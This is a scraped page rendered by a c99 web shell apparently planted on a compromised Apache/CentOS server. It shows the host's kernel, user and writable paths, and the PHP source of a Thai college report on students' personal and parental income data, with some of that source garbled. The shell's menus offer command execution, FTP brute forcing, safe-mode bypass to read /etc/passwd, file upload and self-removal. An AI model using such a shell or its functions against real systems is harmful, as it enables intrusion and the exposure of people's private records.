!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis2222/application/views/eregis/   drwxrwxrwx
Free 50.65 GB of 127.8 GB (39.63%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     v_rptRis128.php (4.76 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<table width="95%" align="center">
    <tr>
        <td width="50"><img src="<?php echo base_url().$this->config->item('rg_upload_picture').$cfgClgLogo;?>" width="111" height="95" align="absmiddle" border="0"></td>
        <td width="450"><font size="2"><b><?php echo $cfgClgName;?><br><?php echo $cfgSiteName;?></b></font></td>
        <td width="200" align="right" valign="top"><font size="2"><b>RIS128</b></font></td>        
    </tr>
    <tr valign="top">
        <td align="center" colspan="3"><hr color="#000000" noshade><br></td>
    </tr>
    <tr>
        <td colspan="3" height="22" align="center"><font size="3"><b>ข้อมูลส่วนตัวนักศึกษา</b></font></td>
    </tr>
    <tr>
        <td colspan="3" height="22" align="center"><font size="2"><b>ประจำปีการศึกษา</b> <?php echo $this->session->userdata('acY');?></font></td>
    </tr>
    <tr>
        <td colspan="3" height="22" align="center"><font size="2"><b>หลักสูตร</b> <?php echo $qu_cur->curName;?>&nbsp;<b>ระดับ</b> <?php echo $qu_lev->levelName?></font></td>
    </tr>
    <tr>
        <td colspan="3" height="22" align="center">
            <table width="730" border="1" cellpadding="0" cellspacing="0" bordercolor="#CCCCCC" style="border-collapse: collapse">
                <tr bgcolor="<?php echo $tr_color_even;?>">
                    <td width="5%" height="22" align="center"><font size="2"><b>ที่</b></font></td>
                    <td width="25%" align="center"><font size="2"><b>ชื่อ-สกุล</b></font></td>
                    <td width="5%" align="center"><font size="2"><b>เพศ</b></font></td>                            
                    <td width="5%" align="center"><font size="2"><b>อายุ</b></font></td>
                    <td width="5%" align="center"><font size="2"><b>ชั้นปี</b></font></td>
                    <td width="20%" align="center"><font size="2"><b>อาชีพผู้ปกครอง</b></font></td>
                    <td width="15%" align="center"><font size="2"><b>รายได้ผู้ปกครอง</b></font></td>
                    <td width="20%" align="center"><font size="2"><b>สิทธิการเบิกค่าเล่าเรียน</b></font></td>    
                </tr>
                <?php
                $i
=0;
                
$sexF=0;
                
$sexM=0;
                
$no=0;
                
$yes=0;
                if(
$rs_cur->num_rows()) {
                    foreach(
$rs_cur->result() as $row) {
                
?>
                <tr>
                    <td align="center" height="22"><font size="2"><?php echo $i+1?></font></td>
                    <td><font size="2"><?php echo $row->prefixName.$row->stdName." ".$row->stdSurname;?></font></td>
                    <td><font size="2"><?php if(strtoupper($row->sdtSex) == "M"){ echo "ชาย";$sexM++;}else if(strtoupper($row->sdtSex) == "F"){ echo "หญิง";$sexF++;}else{ echo "-";} ?></font></td>
                    <?php
                    
list($yy,$mm,$dd)=preg_split('/[-]/',$row->sdtBirthDate);
                    
$yy1=date('Y')+543;
                    
$bdy=$yy1-$yy;    
                    
?>
                    <td align="center"><font size="2"><?php if($yy==0){echo "-";}else{ echo $bdy; }?></font></td>
                    <td align="center"><font size="2"><?php echo $row->stdSyId;?></font></td>
                    <td><font size="2"><?php echo $row->sdtParentOccupation;?></font></td>
                    <td align="right"><font size="2"><?php echo number_format($row->sdtParentIncome,2);?></font></td>
                    <td><font size="2"><?php if($row->sdtCanRefund == "N"){ echo "ไม่มี"$no++; }else if($row->sdtCanRefund=='Y'){echo "มี"$yes++; }else{echo "-";}?></font></td>
                </tr>
                <?php
                        $i
++;
                    }
                }else{
                
?>
                <tr>
                    <td colspan="8"><font size="2" color="<?php echo $font_color_err;?>">** ไม่ปรากฎรายการข้อมูลในฐานข้อมูล **</font></td>
                </tr>
                <?php ?>
            </table>
        </td>
    </tr>
    <tr>
        <td colspan="3">&nbsp;</td>
    </tr>
    <tr>
        <td colspan="3" height="22" align="center">
            <table width="730" border="0">
                <tr>
                    <td colspan="3"><font size="2">สรุป</font></td>
                </tr>
                        <tr>
                            <td width="10%" height="22">&nbsp;</td>
                            <td width="35%"><font size="2">เพศชาย <?php echo $sexM;?> คน</font></td>
                            <td width="55%"><font size="2">มีสิทธิเบิกค่าเล่าเรียน <?php echo $yes;?> คน</font></td>
                        </tr>
                        <tr>
                            <td height="22">&nbsp;</td>
                            <td><font size="2">เพศหญิง <?php echo $sexF;?> คน</font></td>
                            <td><font size="2">ไม่มีสิทธิเบิกค่าเล่าเรียน <?php echo $no;?> คน </font></td>
                        </tr>
            </table>
        </td>            
    </tr>
    <tr valign="bottom">
        <td align="center" colspan="3" height="88"><hr color="#000000" noshade></td>
    </tr>
    <tr valign="top">
        <td colspan="2"><font size="2">วันที่พิมพ์ : <?php echo date('d-m-y h:m');?></font></td>
        <td align="right"><font size="2">หน้า 1/1</font></td>            
    </tr>                
</table>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0061 ]--